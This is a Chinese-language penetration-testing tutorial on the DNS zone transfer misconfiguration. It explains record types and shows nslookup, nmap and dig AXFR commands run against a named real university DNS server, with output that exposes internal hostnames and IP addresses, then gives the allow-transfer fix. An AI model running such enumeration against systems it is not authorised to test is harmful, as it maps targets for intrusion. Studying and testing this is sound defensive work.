# 3.1 DNS域传送漏洞

## 前言

在《安全参考》第一期中有：区域传送操作指的是一台后备服务器使用来自主服务器的数据刷新自己的 zone 数据库。这为运行中的 DNS 服务提供了一定的冗余度,其目的是为了防止主域名服务器因意外故障变得不可用时影响到全局。一般来说,DNS区域传送操作只在网络里真的有后备域名 DNS 服务器时才有必要执行,但许多 DNS 服务器却被错误地配置成只要有人发出请求,就会向对方提供一个 zone 数据库的拷贝。如果所提供的信息只是与连到因特网上且具备有效主机名的系统相关,那么这种错误配置不一定是坏事,尽管这使得攻击者发现潜在目标要容易得多。真正的问题发生在一个单位没有使用公用/私用 DNS 机制来分割外部公用 DNS 信息和内部私用 DNS 信息的时候,此时内部主机名和 IP 地址都暴露给了攻击者。把内部 IP 地址信息提供给因特网上不受信任的用户,就像是把一个单位的内部网络完整蓝图或导航图奉送给了别人。对系统管理员来说,允许不受信任的因特网用户执行 DNS 区域传送(zone transfer)操作是后果最为严重的错误配置之一。

同时，在WooYun WiKi中也说道，利用DNS域传送漏洞可以有效地收集相关企业的子域名，收集信息也是渗透过程中很关键的一步。

DNS服务器使用的TCP/UDP端口号是53。

最常用的DNS记录有以下几类：

```
　　A记录       IP地址记录,记录一个域名对应的IP地址

　　AAAA记录    IPv6 地址记录，记录一个域名对应的IPv6地址

　　CNAME记录   别名记录，记录一个主机的别名

　　MX记录    电子邮件交换记录，记录一个邮件域名对应的IP地址，比如my[at]lijiejie.com
             后面的部分lijiejie.com，邮件服务器对应的IP地址

　　NS记录      域名服务器记录 ,记录该域名由哪台域名服务器解析

　　PTR记录     反向记录，也即从IP地址到域名的一条记录

   TXT记录     记录域名的相关文本信息
```

## nslookup命令

常用参数：

```
命令:   (标识符以大写表示，[] 表示可选)
set OPTION      - 设置选项
    type=X              - 设置查询类型(如 A、AAAA、A+AAAA、ANY、CNAME、MX
                          NS、PTR、SOA 和 SRV)
ls [opt] DOMAIN [> FILE] - 列出 DOMAIN 中的地址(可选: 输出到文件 FILE)
    -a          -  列出规范名称和别名
    -d          -  列出所有记录
    -t TYPE     -  列出给定 RFC 记录类型(例如 A、CNAME、MX、NS 和 PTR 等)
                   的记录
exit            - 退出程序
```

注意两点： 1、使用type参数可以设置记录类型。 2、 使用ls命令，可以列出一个域下面所有的域名。

下面的例子通过114.114.114.114查询域名的IP地址：

![](http://ww1.sinaimg.cn/large/0065jC22ly1g176fsx6dfj30r404tglj.jpg)

下面的例子查询taobao.com使用的邮件交互服务器名称:

![](http://ww1.sinaimg.cn/large/0065jC22ly1g176k0ij15j30ri03at8o.jpg)

测试是否存在域传送漏洞

```
默认服务器:  public1.114dns.com
Address:  114.114.114.114

> server dns.nwpu.edu.cn
默认服务器:  dns.nwpu.edu.cn
Address:  202.117.80.2

> ls nwpu.edu.cn
[dns.nwpu.edu.cn]
 nwpu.edu.cn.                   NS     server = dns.nwpu.edu.cn
 nwpu.edu.cn.                   NS     server = dns1.nwpu.edu.cn
 nwpu.edu.cn.                   NS     server = dns2.nwpu.edu.cn
 nwpu.edu.cn.                   NS     server = dns3.nwpu.edu.cn
 *                              A      222.24.192.99
(... 省略大量的记录) 
npunecas                       NS     server = webcomp.npunecas.nwpu.edu.cn
 webcomp.npunecas               A      202.117.85.146
 nwpu03                         A      202.117.80.4
 nwpudb2                        A      222.24.210.149
 poj                            A      192.168.0.248
 portal                         A      61.150.43.10
 portal1                        A      222.24.192.31
 portal2                        A      222.24.192.32
 rei                            A      202.117.85.10
 saip                           NS     server = saipserver.saip.nwpu.edu.cn
 saipserver.saip                A      202.117.85.72
 test                           A      222.24.192.29
 yzb                            A      202.117.85.3
 zsb                            A      202.117.87.130
 zygx                           A      202.117.80.9
```

操作基本的步骤是:

1\) 输入nslookup命令进入交互式shell

2\) Server 命令参数设定查询将要使用的DNS服务器

3\) Ls命令列出某个域中的所有域名

4\) Exit命令退出程序

攻击者能获取的敏感主要包括：

1）网络的拓扑结构，服务器集中的IP地址段

2）数据库服务器的IP地址，例如上述nwpudb2.nwpu.edu.cn

3）测试服务器的IP地址，例如test.nwpu.edu.cn

4）VPN服务器地址泄露

5）其他敏感服务器

## nmap

使用nmap扫描器附带的脚本，可以扫描DNS服务器是否存在域传送漏洞。语法为：

```
nmap --script dns-zone-transfer --script-args dns-zone-trans
fer.domain=nwpu.edu.cn -p 53 -Pn dns.nwpu.edu.cn
```

对上述命令命令说明如下：

nmap –script dns-zone-transfer表示加载nmap文件夹下的脚本文件dns-zone-transfer.nse，扩展名.nse可省略 –script-args dns-zone-transfer.domain=zonetransfer.me向脚本传递参数，设置列出记录的域是nwpu.edu.cn -p 53设置扫描53端口 -Pn设置通过Ping发现主机是否存活

## Dig命令

查询类型设定为axfr，就能得到域传送数据。这也是我们要用来测试DNS域传送泄露的命令：

```
; <<>> DiG 9.8.1-P1 <<>> @dns.nwpu.edu.cn axfr nwpu.edu.cn
; (1 server found)
;; global options: +cmd
nwpu.edu.cn.            86400   IN      SOA     dns1.nwpu.edu.cn. hxn.nwpu.edu.cn. 2014041801 21600 3600 604800 10800
nwpu.edu.cn.            86400   IN      NS      dns.nwpu.edu.cn.
nwpu.edu.cn.            86400   IN      NS      dns1.nwpu.edu.cn.
nwpu.edu.cn.            86400   IN      NS      dns2.nwpu.edu.cn.
nwpu.edu.cn.            86400   IN      NS      dns3.nwpu.edu.cn.
nwpu.edu.cn.            600     IN      MX      5 nwpu03.nwpu.edu.cn.
nwpu.edu.cn.            600     IN      MX      15 nwpu03.nwpu.edu.cn.
*.nwpu.edu.cn.          86400   IN      A       222.24.192.99
aisheng.nwpu.edu.cn.    86400   IN      CNAME   www.nwpu.edu.cn.
amec.nwpu.edu.cn.       86400   IN      NS      netserver.amec.nwpu.edu.cn.
(省略大量的记录...)
nwpu.edu.cn.            86400   IN      SOA     dns1.nwpu.edu.cn. hxn.nwpu.edu.cn. 2014041801 21600 3600 604800 10800
;; Query time: 110 msec
;; SERVER: 202.117.80.2#53(202.117.80.2)
;; WHEN: Sun Apr 20 15:11:32 2014
;; XFR size: 188 records (messages 1, bytes 4021)
```

请注意，参数axfr后跟需要列出的域的名称。上面的例子是nwpu.edu.cn。只要命令输出中存在“XFR size”即代表该服务器存在漏洞。

## tools

> [https://github.com/lijiejie/edu-dns-zone-transfer](https://github.com/lijiejie/edu-dns-zone-transfer)

## 修复方案

解决域传送问题非常简单，只需要在相应的zone、options中添加allow-transfer限制可以进行同步的服务器就可以了，可以有两种方式：限制IP、使用key认证。
